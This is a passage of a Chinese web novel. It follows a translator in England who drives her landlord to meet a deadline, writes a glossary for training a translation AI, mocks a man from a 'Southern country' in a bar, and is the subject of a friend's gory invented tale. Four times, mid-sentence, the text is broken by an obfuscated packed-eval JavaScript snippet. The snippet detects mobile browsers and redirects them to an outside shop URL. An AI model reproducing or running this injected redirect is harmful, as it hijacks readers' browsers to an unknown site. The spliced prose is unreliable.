段黛:【哦,还有看着我的房东赶ddl。】 黎尚轩:【啊???】 黎尚轩:【你看着房东赶ddl??】 文森特老老实实的坐在电脑前,抓耳挠腮地整理作品信息。温蒂翻找着作品的存档,给文件做着编号。 段黛搬了笔记本电脑下来,坐在两人对面,噼里啪啦地敲着键盘,写着《经录》的翻译。 段黛:【对。现在他和他那个疑似女朋友的助理坐在我的对面,老老实实地写着东西。】 黎尚轩:【倒反天罡?】 段黛:【^.^】 有时文森特摸出手机来刷tiktok,刚看两眼,一抬头就看到段黛一双漆黑如墨的眼睛透过反光的玻璃镜片直勾勾地看着他。 “……” 文森特尴尬地放下手机:“有……有点累,放松一下,我这就继续写……” 为什么有种做了坏事被老师抓到的既视感啊! 段黛推了一下鼻梁上的眼镜,语气平淡:“不要偷懒噢。” 晚上六点,正常这个时候文森特会开始清洗自己的画笔,然后收拾收拾回家了。然而他刚站起来,就看到段黛也抬起头来看着他。 应着段黛那说不清又道不明的目光,文森特莫名有些发怵。他张了张嘴,反倒是段黛先开了口:“你们要回去了吗?” 温蒂也在收拾东西:“嗯……平时我们就是这个时候走的……” 为什么会底气不足啊! 段黛的语气依旧平静:“可是你们中午才到哎。” “……” 两人都僵住了脚步,不敢走了。 正在他们满头大汗的时候,段黛忽然笑了:“倒也不是非得要求你们待够工作时间……不过今天的任务你们完成了吗?是说今天排完80页吧?你们排多少了?” 文森特慢慢坐了回去。 “……五……五十页……” “那怎么行呢,既然一下午过去已经做完五十页了,那你们再加加油,再排三十页出来,不要把今天的任务推到明天。” “只要每天完成八十页,到时候还能留出一天来回头查漏补缺呢。” 温蒂也坐了回去。 “说的……也是……” 段黛贴心地为他们准备了中式白人饭,指调味不那么离奇但操作起来很方便并且还可以一边干活一边吃的牛马生存料理。 直到晚上十点,文森特和温蒂才头重脚轻地站了起来,对段黛说:“我们做完八十页了。” 段黛微微一笑:“辛苦了,明天早点来呀。” 上车之后,温蒂缓了好一会儿后才道:“一开始你说,你把阁楼租给了一个年轻东方女孩,我还以为……” 文森特一脸诧异,连连摆手:“没有没有,我租给她一方面是巧合,另一方面是我表妹好像很喜欢她……” 然而温蒂呼出一口气:“现在看来,是我想多了。” 文森特:? 温蒂继续:“正常人是不会和教导主任暧昧的,是我错怪你了。” 文森特瘫倒:“要不明天咱们早点来吧,别拖到中午了……我是真没想到没做完就不能走啊……” 温蒂揉了揉眉心:“是啊,早点做完早点走吧。” 做到第三天的时候,文森特和温蒂也渐渐习惯了。温蒂看到段黛拿着平板认真做着笔记,好像从来没有摸鱼走神的时候,便忍不住问:“我们离开画室之后,段小姐会做什么呢?” 段黛:“上楼,继续查资料写翻译呀。” 温蒂惊奇地瞪大了眼睛:“还在工作?不休息吗?” 段黛眨了眨眼睛:“十一点或者十二点的时候,我会洗漱睡觉的。” “不是说睡觉啊,就是……”温蒂挠了挠头,“你难道没有那种放松的时候吗?就是不工作也不睡觉的时候……” 温蒂觉得自己可能是认为段黛这个人除了工作就是工作,所以才会试图用自己的方式来解释“relax”的含义。 段黛恍然大悟:“噢,确实有呀。” 文森特伸了个懒腰,活动了一下肩膀:“段黛休息的时候会做什么?” 段黛思索了一下:“最近我放松的时候会复习一下日语。” “……” 温蒂干笑两声:“你刚刚是说了什么小语种吗,我怎么好像突然听不懂英语了?” 段黛解释道:“不是你们想象的那种学习啦。之前我也学过日语,但是忘的很多了。最近想重新捡起来,所以在看日文的小说……通过阅读慢慢找到语感,遇到不太会的查查电子词典听听发音……虽然说是复习日语,实际上就是看小说而已。” “……” 文森特:“就算你说这是看小说,但是谁家看小说还要查字典练听力……” 段黛再次解释:“一开始确实会麻烦一些啦,不过等熟练掌握好之后就用不着再这么学习了,可以尽情地享受了。” 温蒂:“尽情地享受小说了?” 段黛:“尽情地自己动手翻译了。” “……” 文森特和温蒂一起汗流浃背了,他们很难形容自己现在的感觉。明明应该吐槽“怎么工作是翻译休息还是翻译”,但看着段黛那理所当然的模样,好像自己这个问题反而很奇怪的样子。 虽然段黛说只有她自己是这个样子,并不代表中国人都是这个样子,但是这种理所当然地把工作当休息的状态…… 这一天,文森特和温蒂对中国人的刻板印象又增加了。 第六天的时候,文森特和温蒂完成了出版社需要的稿子。虽然还有一天时间用来做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13623982|139721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 查漏补缺,但两人都瘫在桌子上不想动了。文森特直接一键发送,看着屏幕上的邮件喃喃自语:“这是我第一次在截稿日之前完成工作……” 段黛微微一笑:“很有成就感吧?” 文森特:“……嗯?” 段黛语气温和:“看着所有的工作在自己的手下按照计划一点一点的完成,最后在规定的时限里做完一切……这种感觉是不是很美妙?” 文森特:“确实有种如释重负的感觉……但我觉得自己好像要死掉了。” 温蒂:“我觉得接下来一段时间我都不想来画室了。” 出版社的编辑没料到这次居然会这么快就收到文森特的稿件。文森特本身和出版社的合作不多,只有出作品集的时候才会和编辑们打交道。然而前两次合作文森特都一拖再拖,逼得编辑不得不亲自过来盯着他整理东西。 这次责编一连七天没看到文森特更新ins,还以为文森特又要找借口拖稿了,没想到居然提前发来了。得知是段黛魔鬼一样的“陪伴”才让文森特按时完成任务时不由得感激涕零。虽然没和段黛见面,但硬是给她寄了一份纪念品来,表达对这位来自中国的文学翻译最真诚的祝福。 文森特在交稿之后终于发了ins:“收回我对段黛的爱。[哭脸]” 马上出版社就在下面回复:“感谢段黛女士让我们能按时收到文森特的稿件。” 这两个放在一起非常滑稽,各国的网友在下面发出了要吃瓜的呼声。接着温蒂在自己的ins上解释了这七天以来他们的“遭遇”,论述卷王段黛是如何用眼神压制他们老老实实赶稿子的。评论区被各种语言的笑声占领,段黛登时声名远扬。 有国内的网友刷到后忽然发现此段黛似乎就是彼段黛,于是又把当初段黛“一命速通死亡电梯”的视频发到了外网上去:“来看看段黛之前的战绩,一命速通死亡电梯!” 段黛本人天天窝在阁楼里敲键盘,完全不知道自己在外网上居然也小火一把。 这几日文森特他们没有来画室,段黛也几乎没怎么下楼。前几日做的菜比较多,冰箱里被塞满了。段黛早上起来一睁眼就开始写东西,饿了就从冰箱找些吃的放微波炉里加热,时不时地和远在国内的黎尚轩交流一下装修的事情。 就这样又过了几天,楼梯间的门突然被敲响了。 段黛打了个哈欠,披上毛毯走了下来:“来了……” 外面响起了文森特的声音:“段黛,你这段时间都没出门吗?” 段黛拉开了楼梯间的门,外面站着的不仅有文森特和温蒂,还有好久不见的方若水。 方若水看到段黛时有些诧异:“你怎么……” 段黛看起来和她们刚认识的时候并没有很大的变化,但不知道为什么,现在的段黛给方若水一种她是从工作的山海里被挖出来的感觉。明明她的打扮依然很整洁,穿着虽然过分简单了却也没有什么不得体的地方……但是就是有种…… 方若水难以用母语来形容这种感觉,只能用在中国时学到的话来说:“你怎么班味儿这么重?” 41. 既得利益者 段黛摸了摸自己的脸:“我都不上班的,为什么会有班味儿?” 方若水:“我也想问,你明明不上班,为什么会有班味儿?” 段黛:“……” 温蒂把段黛从楼梯间里拉了出来:“不要总是工作了!你看起来已经没有活力了!” 段黛在之前他们一起赶ddl的大桌子边坐下,温蒂还给她塞了一杯热可可。段黛有些懵,过了一会儿问:“对了,若水你怎么来了?” “听说你住在我表哥这里,所以顺便来看看……”聊着聊着方若水忽然严肃了起来,“不过确实有事找你。” 网文出海不比普通作品出国,寻常作品到另一个国家发行会有专门的译者进行翻译。但网文体量大,不可能找翻译一本一本的往外送,所以采用最简单粗暴的方式:机翻。 现在科技相当发达,同声传译之类的都不在话下,更何况只是翻译现成的文字。目前方若水所在的“凤姿龙章”公司,所采用的就是机翻+人译的模式,大部分作品采用机翻,少数爆火的作品会由翻译作者重新翻译。 大部分作品基本都可以通过机翻让读者比较顺畅的阅读,就算有些生硬的地方读者们也能自行领会。但毕竟文化母体不一样,一些诸如仙侠或宫斗这类传统文化元素较多的作品在机翻后就会显得有些荒谬。 段黛对此表示理解。对于幻想类型的作品,每个作者都有自己的设定,虽然大框架上都是仙侠,但自己造词做设定的情况数不胜数,单是修为境界就划分了好几个不同的体系。如果是对中文精通的翻译来做还好,机翻在没有统一标准的情况下只会表现地五花八门的。 方若水感慨着甚至说出了中文:“中华文化博大精深。” 段黛低头笑了笑,随后问那你们现在能想到的解决办法是什么? 方若水道:“训练AI分摊翻译工作,尽量智能化地把中文转化成外文。” 段黛:“那你找我是……” “帮忙看一下我们训练时投入的素材,辅助训练语言模型。” 段黛花了几个小时的时间了解了一下现在凤姿龙章公司训练AI的模式,思考片刻后道:“要不我给你们整理一个小册子吧。” 方若水:“什么册子?” 段黛:“中国传统文化相关名词及衍生名词的小册子,你们可以投喂给AI。” 方若水的眼睛亮了:“这也太麻烦你了吧!你需要的条件是什么?” 段黛微微一笑:“我要——加入凤姿龙章团队。” 这一点段黛其实也考虑很久了。比起投资奶茶品牌,她还不如投资网文出海呢。至少这个和她的本职工作沾点边,而且看起来前景一片大好的样子。 段黛了解了一下“凤姿龙章”,这家公司自创办以来没出现过什么重大失误,一直都是四平八稳地前进着的,几乎没做过什么非常冒险的举动。这对习惯了中规中矩的段黛来说是个不错的选择。 方若水沉吟片刻,道:“我可以牵线让你和总部那边联系……” 段黛微笑:“那我等你的好消息。” 自从段黛出国后,段墨就养成了视奸段黛V博的习惯。不过段黛发博并不频繁,基本上三句话不离她要翻译的东西。 段黛这里没有什么可看的了,他就去翻文森特的ins。那边和这里有七个小时的时差,每次他们发东西时段墨这里都是三更半夜,但他还是会守在页面前看着,争取第一时间了解到有关他们的消息。 他知道文森特最近一个月都在外出写生,并且在写生时还带上了要现场调查的段黛。 一开始文森特的ins还有一些商业互吹的意思,但后来居然能够和段黛互相开玩笑了,甚至连他的助理都开始吐槽段黛的卷王行径…… 众所周知,互相说好话可能只是点头之交,但是能一起笑骂的一定是关系不错的朋友。 他们是真的混熟了。 段墨沉默地浏览着文森特ins的主页,每一张图都放大仔细看。他还记得段黛出国那天,父母唉声叹气说段黛怎么突然就走了,做什么事也不说一声。 她出国也好做什么也好,都是自食其力,并不需要父母帮助什么,自然可以一声不吭直接出发了。 不像段墨,做什么都得束手束脚的。没有能力去获得自己想要的一切,然后只能无能狂怒。 段黛这个妹妹好像突然就从他的生活里剥离出去了。从前段墨总嫌她烦,没想到她会突然就这么消失的无影无踪。 不再为他东奔西跑的段黛看起来活的很好。段墨不知道是怎么了,其实他希望的就是这样,但当段黛真的按照他的期望对他不管不问后,他却莫名地感到失落。 辞职之后他高兴了一阵子,毕竟不用再面对同事们异样的眼光了。但是很快他就陷入了焦虑,毕竟仅靠画画来维持自己的日常生活实在是太难了。每天睁开眼睛后出现在他脑子里的不是艺术畅想,而是存款见底之后该怎么办。 父母知道他辞职之后发了好大的火,却到底没舍得不管他,每个月还是给他一些生活费。虽说不用担心温饱问题,但心理上的压力还是让段墨非常难受。 赵玉兰看着段墨,忍不住唉声叹气。她转头对段光耀道:“黛黛在国外,也不知道什么时候才能回来,要不直接让墨墨住进去吧?这样咱还剩的再给他交一份房租了。” 段光耀叹了口气:“这都快两个月了,唉……” 也不知道国外还能不能用V信,老两口试着和段黛说租房子的事情,段黛隔一两天才能回复他们。当他们问起来的时候,段黛的回答却让人挑不出毛病。 她说毕竟是国外,要用V信会很费劲,她没有空总是登陆上来回他们消息。 段光耀和赵玉兰也没出过国,听说别家孩子出国还要开通什么国际漫游之类的,段黛这么一说他们也就被唬住了,只能接受根本联系不上人的现状。 晚上睡觉前,赵玉兰看着手机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13639172|139721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忽然开口:“你说,黛黛是不是发现了什么?” “……” 在段光耀惊疑的眼神中,赵玉兰缓缓回忆着:“以前黛黛和咱们很热乎的,但是就半年前那天下飞机之后,黛黛顶着两个巴掌印来咱们这……从那之后我就感觉,黛黛好像对咱们很……很客气。” 沉默许久,段光耀也道:“对,我也有这种感觉。” 明明表面上都好,但是就是有一种生疏和距离感。 而自从那天他们想让段黛通过交房租的方式还房贷起,这种表面的平和也被打破了。段黛再也没在他们面前露过面,连出国这么大的事都没和他们说一声。 “……黛黛她……” 段光耀叹了口气:“是段墨这孩子让黛黛伤心了吧,老是热脸贴冷屁股谁能受得了。咱也别做的太过分了,不能叫她看出不对劲来。” 赵玉兰也叹息:“但是黛黛这么有出息,怎么也得拉她兄弟一把啊……唉,要不是她本来说好的要送画室突然不送了,咱们也用不着砸锅卖铁去给他买房……” “……” 段光耀重重地叹了一口气:“再说吧,睡觉睡觉。” 段黛顾左右而言他,又远在大洋彼岸,段光耀和赵玉兰的那点小九九算是失败了。 既然不能让女儿帮儿子还房贷,那至少也应该省掉儿子的房租了。第二天老两口就来了段墨的家,把房产证交给了他。 段墨看到房产证时愣了一下。他翻开看了好一会儿,才颤抖着声音道:“你们给我买房了?” 两人点了点头。 段墨张了张嘴:“你们用不着这样的,段黛自己也没有房呢,怎么突然给我买了……” 赵玉兰叹了口气:“黛黛我们是不用再管了,她想要房子以后婆家会准备的。你是男孩,将来怎么都要有自己的房子才行。” 段光耀道:“也不是说要逼你马上成家的意思,少了房租的支出以后你再艺术创作压力也能小一点。自由职业不稳定,有个房子好歹你还有住的地方。” 段墨看了看证件:“这个地段的房子……你们没办法全款买吧?每个月房贷多少?” 赵玉兰拍了拍他的肩膀道:“放心,不用你还房贷,我和你爸帮您还,不用觉得有负担。” 段墨怔了好一会儿,忽然想到了什么:“你们之前说要把房子租给段黛,是想……让她用房租来还房贷?” 两人再次点头。 电光火石间,段墨一瞬间想到了很多事情。 他活得很不如段黛。 可是段黛的一切都是靠她自己的本事拿到的,而他自己的一切……来自父母的支持,来自妹妹的关照。 没有一样是靠自己拿来的。 如今仔细看来,父母给了自己能给的一切,却什么都没给段黛。 那一瞬间,段墨五味杂陈。他低头看着手里的房产证,只觉得荒谬。 原来,他才是被偏爱的那一个吗? 42. Steve 关月兰:【最近怎么样?有好好搜集资料写翻译吗?】 段黛:【挺好的,我在这边新认识了一些朋友,他们帮我找了很多资料。】 关月兰:【那就好。】 关月兰:【我真怕你玩着玩着就忘了写东西了。】 段黛:【放心,我是那样的人吗?】 关月兰:【……】 以前的段黛还真就是这样的人,但现在的段黛…… 关月兰不知道段黛上次的勤奋究竟是一时兴起还是真的转了性子,所以一直处于观望的状态。若是段黛这次又翻译着翻译着就找不到人了…… 关月兰:【现在你那边应该是下午吧,你在做什么?】 段黛:【在人声鼎沸的酒吧里写稿子。】 关月兰:【???】 段黛真的在酒吧里写稿子。 她根据方若水和同事们的问题,临时撰写了一本用于训练AI的网文翻译的小册子。几经训练之后,凤姿龙章英国站的一个大问题就被解决掉了。方若水和同事们对段黛异常感激,于是邀请她来参加公司的团建。 所以现在段黛就坐在酒吧的一个很舒适的皮质沙发上,用手机修改着前面写好的译文。 温蒂一开始以为段黛是以为社恐所以在玩手机,还想着拉她一起喝一杯。没想到凑近了一看,手机屏幕上还在一个一个往外蹦方块字。温蒂虽然看不懂中文,但也知道段黛这是在写东西。她大惊失色:“你不会又在写翻译吧?” 段黛点了点头:“是呀。” 五彩的灯光从头顶落下,有梳着脏辫的人在声嘶力竭地吼着rap,还有身材火辣的女孩随着音乐跳舞,全身能抖的地方全抖成了电动马达。一群人听到了熟悉的歌曲就突然凑到了一起开始Kpop随舞,还有一些一看就知道是留子的中国人举着手机在拍视频。 这种环境下……她居然还能工作? 段黛微笑:“区区酒吧,不在话下。” 段黛可是创下过KTV包厢写作业、疫情做核酸排队时写翻译、卧病在床神志不清时躺着写论文的辉煌战绩。 段黛窝在沙发上,基本上不主动和人打招呼。但如果方若水和同事们过来找她,她也会立刻放下手机,微笑着和他们攀谈。段黛解释她只是充分利用时间,趁着没有人和她social的碎片化时间修改一下稿件。 温蒂:“……别太荒谬。” 正在每个人各自玩着各自的时候,文森特忽然对着温蒂单膝下跪,打开了一个戒指盒。酒吧内安静了一瞬,紧接着就沸腾了起来。文森特的脸红了,在众人的欢呼中说出了那句“你愿意嫁给我吗”。 段黛连连鼓掌,举起手机来给他们录像,看着温蒂说了“Yes”之后亲吻了文森特的脸颊。求婚成功的两个人在酒吧里抱起来转圈圈,稍微冷静下一些后才过来看段黛帮他们录的视频。 方若水高兴了一阵后问段黛:“你早知道文森特要求婚?我看你好像早早的就把手机举起来了。” 段黛点头:“他拜托我帮忙录像。” 方若水思索了一会儿,忽然道:“你知道Steve吗?” “……”段黛哼了出来:“Thatit''sfinallymeandyouandyouandme.JustusandyourfriendSteve.嘟噜嘟嘟嘟嘟Steve?①” 方若水一捏指响:“你就是Steve。” 段黛不明所以:“嗯?” 求婚气氛过后,酒吧里恢复了最开始的喧闹。这时一个亚洲面孔的年轻男人挤到了段黛身边,用发音有些奇怪的英语问她:“你是南国人吗?” 段黛转过头来,这个男生个头不算很高,但是非常白,头和脖子几乎连为一体,服帖烫的头发像是被牛舔过一般。 她道:“不,我是中国人。” 男生明显露出了失望的表情:“我看你和那么多白人玩的很好,还以为你是南国人呢……” 段黛蹙眉:“这是什么逻辑,和白人玩的好怎么就是南国人了?” 男生嗤笑一声:“你们中国人……” 话说一半就停了,不知道是想不出理由还是词穷。段黛坐直了要:“继续。” 男生僵了一下:“……啊?” 段黛的声音提高了一些:“说说看啊,我们中国人怎么了?” 段黛的声音吸引了周围人的目光,本来在举着手机看热闹的中国留学生也凑了过来。男生感觉场面不太对,但又不想道歉,于是硬着头皮道:“你们中国人怎么样……还用说吗?” 段黛耸了耸肩:“我们中国人热爱和平勤劳勇敢,我们中国上下五千年历史,文化文明源远流长。是这个意思吗?” 旁边几个留子“噗嗤”一声笑了起来。男生的脸色有些难看:“你……” 他说了几句前言不搭后语的句子,结构混乱,若是发音标准一点大概还能听懂,可他那个奇怪的南式发音有很好地打碎了这一点的希望。段黛也没打算去解读一下他的意思,转头对着身边人笑道:“毕竟我们虽然有精华也有糟粕,但是不至于抢了人家的糟粕当自家的精华用。” 当即有个留子小声嘀咕:“听说南国连缠足都给偷过去了……” 另一个人道:“真不敢想象,他们从小就是历史虚无主义吗……” 男生“啪”的一声,把酒杯放到了段黛面前的桌子上。留学生们被吓了一跳,有些紧张地看向段黛。然而段黛依旧是那副波澜不惊的模样,不仅不慌,反而还继续开口道:“你是来上学的吧?没有要准备的报告吗?论文都写了吗?作业都完成了吗?接下来没有什么迫在眉睫的汇报吗?期末考试准备的怎么样了?” “……” 男生萎了。 段黛继续:“你不会拖了一堆任务没做就出来蹦迪了吧?” 男神跑了。 旁边一群留学生也露出了痛苦的表情,用中文道:“同志,你怎么伤敌一千自损八百呢?” 段黛转过头来,认真地看着留学生们,同样用中文回答:“你们也要好好学习哦。” 邓辞一开始是不知道段黛出国的事情的。临安也开始变冷了,时不时吹来的萧索的风让他走在路上时忍不住瑟瑟发抖。他经常在段黛可能出现的地方乱晃,连临译社都去了好几回,然而却始终没有见到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13656007|139721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 段黛。 制造偶遇不成,邓辞不由得有些怀疑。有次他又往“林深”的办公大楼那里绕了几圈,没想到却碰到了陈方烨。 陈方烨有些奇怪地看着他:“你怎么在这?” 陈方烨和邓辞是通过段黛认识的,两人的关系不好不坏。在段黛还没有穿来之前,两人有时候还会因为吐槽段黛而莫名达成共识。不过他们的交情也就仅此而已,在段黛离开林深之后,两人就很少再有联系了。 邓辞扯了扯嘴角:“我路过。” 陈方烨叹了口气:“这样啊。” 邓辞见他一脸疲惫,丝毫没有曾经意气风发的模样,忍不住道:“怎么感觉你这么累啊,公司很忙吗?段黛没帮你?” 他带着私心提了段黛一嘴,果然陈方烨的脸色变了变。陈方烨呼出一口气,语气有些沉重:“她都离开了公司了,怎么可能还会帮我呢。” 邓辞叹了一口气,语重心长道:“其实段黛心最软,只要你回去求一求她,她一定会回来和你重归于好的。你看之前哪次不是这样?她爱了你五年了……” 以前的段黛爱了他五年,现在的这个段黛平等地讨厌所有人。这句话邓辞没有说出口,只是在这里明知故问地火上浇油。 陈方烨眉头紧缩,手指按揉着太阳穴:“不知道为什么,从那天之后段黛的心硬得像石头一样……现在她一声不吭就出国了,也不知道什么时候能回来……” “段黛出国了?”邓辞脸上的笑容不复存在,“什么时候的事?” “你不知道吗?”陈方烨一脸奇怪地看着他,“我刷V博的时候看到的,她走了至少三个月了吧?” “V博?什么V博。” 邓辞赶紧摸出手机来。他知道段黛有V博,也经常会点进去看看。但新来的这个段黛好像并不热衷于发V博,所以他渐渐地也把这件事给忘了。 他打开V博,这才发现这段时间段黛陆陆续续发了好几条帖子,IP定位都在英国! 她什么时候出去的! 邓辞忽然觉得自己居然还到处溜达等偶遇这件事非常可笑,一时间脸色格外难看。陈方烨并不知道他和段黛之间的龃龉,一直以为他们关系不错,见他这副模样更奇怪了:“她没和你说吗?” 邓辞做了个深呼吸,竭力不在陈方烨面前露出什么异样来:“没有,段黛从……从那天回临安下飞机之后,就对我们都冷淡了。就好像……” 他的嘴角抽了抽,却还是恶毒地说出了当时威胁段黛的话语。 “就好像,壳子里的人换了一样。” 可惜陈方烨是个坚定的唯物主义者,并没有听出来他话里有话。他只是不停地叹息着:“是啊,怎么突然就变了呢……” 邓辞无法,只得自己先走了。 邓辞想找段黛也是因为有事情的。他试着用机翻看准备投资的小说,奈何还是太麻烦,便想叫段黛再帮帮他。 至于为什么不能在V信上发个消息……他觉得这样就是主动去找段黛了,很丢面子。 可是现在,段黛远在国外,他再也不能靠“偶遇”来搭话了。 想要找她办事,只能主动联系她。 43. 混邪乐子人 邓辞看过了段黛这些日子发的V博,思来想去,又去ins上搜了搜。没想到段黛在ins上居然还挺火的,因为文森特求婚成功,有人用那个经典电灯泡的BGM剪了段黛就是文森特和温蒂身边的那个Steve,紧接着“Steve”又在酒吧劝学南国人让南国人破防,把好笑程度又上升了一个级别。 邓辞感觉自己的太阳穴突突地跳着。越来越多的人开始喜欢段黛了,这让他非常窝火。他强压着心中的不适,挨个去看文森特和温蒂的ins。在看到温蒂说段黛休息的时候在通过阅读来复习日语是多么逆天的时候,邓辞的眼睛一下子就亮了。 段黛在复习日语? 她也在看那些小说吧! 邓辞深吸一口气,国外应该也是可以用V信的,他发消息段黛应该能收到。想好之后,他编辑了一条消息:【我也看ins……据说你也在看日轻?】 段黛这时正在图书馆还书。手机振动时她以为是黎尚轩的消息,掏出来发现是邓辞后忍不住蹙眉。 看到这条消息后段黛立刻就知道邓辞打的是什么主意了。这是自己看不下去书了,又想来白嫖她的劳动力了吧? 不过段黛没有戳破他,而是回复他:【是啊,有什么事?】 邓辞:【你喜欢哪几本啊?】 段黛:【怎么,你要投资?】 邓辞:【书太多了,我筛选起来太费劲了……我想着看看你喜欢哪几本,这样我就可以缩小范围,从你喜欢的那几本里做筛选了。】 段黛嗤笑一声:【好啊,我给你看看我的书单。】 她还想着以后怎么给邓辞挖坑呢,没想到人主动送上来了。段黛随手截了个图,上面林林总总有十五六本轻小说:【这些是我看了比较不错的,你可以从这里面试试。】 这范围画的可够大的,但总比一开始像个没头苍蝇一样什么都找不到要好。邓辞看着十多本书还是有些头大,试探道:【你最喜欢哪一本?】 段黛:【我觉得都差不多。】 无论邓辞怎么问,段黛都说这十几本书分不出高下,没有什么一鸣惊人的存在。 邓辞虽有些失望,但也放心下来。他能察觉到段黛对他的敌意,若是直接答应了他的要求给他推荐了一两本最出色的作品,反而有可能是什么陷阱。像现在这样粗略地画了一个圈,倒有可能是为了折腾他故意筛了这么多出来。 比起被轻而易举地骗得血本无归,邓辞觉得费点事也不算什么。 图书馆旁就是教堂,据说也是有几百年历史的建筑了。段黛进去转了几圈,找了一些似乎对工作有用的内容。 邓辞还絮絮叨叨地说了好多,段黛懒得再看了。她今日出门除了还书,还要去买之前答应给朋友们带的礼物。从教堂里出来时,段黛看到门口有家小小的精品店,看着氛围感很好,便走了进去。 恰好黎尚轩的消息发了过来:【看,刷完墙之后是不是好看多了?】 装修这事总是比较麻烦的,黎尚轩处理多了也算是老油条了。他能精确地把控工人可能会糊弄的地方,盯着每一处细节按着自己最初的设计一步步进行。 段黛出国后,装修也正式开始。黎尚轩大多数时间都呆在房子那里,但偶尔也要回办公室做进一步的设计。 他一边往办公室走,一边给段段黛发房子的照片。洗囊子的瓷砖已经都铺好了,原先灰扑扑的墙面变得洁白干净。虽然整个还是空荡荡的,但已经能窥见新家的雏形了。 好巧不巧,之前被段黛换掉的设计师代先生迎面走了过来。代先生看到黎尚轩一身工装还沾了不少水泥灰的样子,语气中有些轻视:“那个买了二百平平层的女顾客是你接了?看你还挺尽心尽力的。” 黎尚轩笑了笑:“是啊,段小姐给钱很大方,那我当然也要替她落实到位了。” 代先生轻嗤一声:“她给钱大方?还不知道是哪来的钱……” 黎尚轩微微一笑:“段小姐是翻译家,她的翻译风格非常老练。我之前服务的几个文学教授都很喜欢她的译文,没想到这次服务到本人了。” “……她是……翻译?”代先生愣了一下,显然没想到这件事。 “是啊,你不知道吗?”黎尚轩压低了声音,“对了,我还要跟你说件事,你可别告诉别人。” 代先生将信将疑:“什么?” 黎尚轩:“有一天晚上,段小姐下飞机回家比较晚了,遇到了一个流氓。” 代先生面露兴奋:“哦?然后呢?” 黎尚轩盯着他的神色,也跟着扬起了嘴角:“然后啊,段小姐抡起行李箱,直接把那个流氓打的头破血流的!那个流氓跪在地上给她磕头啊,求她放过他……” 代先生怎么也没想到是这么个走向,脸色难看了许多:“噢……噢,那她……她挺厉害的……” “还没完呢,”黎尚轩一把拉住了想要走远的代先生,让自己身上的灰尘全蹭到了代先生的裤子上,“但是段小姐是个狠人啊,流氓求饶根本没有用!她把流氓手里的啤酒瓶子抢了过来,在流氓脑袋边敲碎了。‘咵嚓’一声,那个流氓都吓尿了啊!” “啊……啊?” 黎尚轩继续绘声绘色道:“她拿着那个碎了的啤酒瓶子,一下一下地捅在那个流氓的□□上!捅完前面捅后面!那个血啊,流的满地都是……” 代先生只觉得腿软,下意识想要伸手捂住自己的□□,但到底有人在眼前,便硬生生忍住了。 黎尚轩架着他:“那个流氓被捅到最后都动不了了,最后直接进ICU了,医生说他以后都要大小便失禁了……” 代先生颤颤巍巍地转过头来:“那……那个流氓……现在……” “噢,现在是已经死了。” “死了?”代先生一个激灵,浑身震悚,“没救过来?” 黎尚轩摆了摆手:“这我就不知道了,反正现在确实是已经死了。哎这不重要,那个流氓经常骚扰那附近的小姑娘,接过被段小姐弄死了。当时那一带的人对段小姐都特别感激,还给她做了一面锦旗呢……你要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665928|139721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是下班来我家那片,保准还能听到段小姐的英勇事迹……” 要不是被黎尚轩拽着,只怕代先生要直接跪到地上去了。他勉强的笑了笑:“段小姐还真是……女中豪杰啊……” “害,”黎尚轩笑道,“后来段小姐随身携带一个钳子一样的东西,她跟我说遇到危险了就把那个钳子塞到人嘴里,好像按一下就能……是打个钉子还是穿个孔的……” 代先生回想起来,自己曾和段黛这号危险人物一起坐过电梯。本来已经有些模糊的记忆渐渐清晰,他想起来自己大放厥词时段黛那板起来的脸,还有她把本来放在外面的手忽然揣进了口袋里…… 她那时是想在口袋里摸出什么来? 代先生简直不敢想象,他的背上沁出了冷汗,全身的战栗止都止不住。他张了张嘴,终于挤出了一句:“我……我先走了……” 接着他就像鬼魂一样飘走了。 黎尚轩站直了身子,嗤笑一声:“色厉内荏的东西。” 手机震了震,是段黛回消息了:【看起来好像快要完成了啊。】 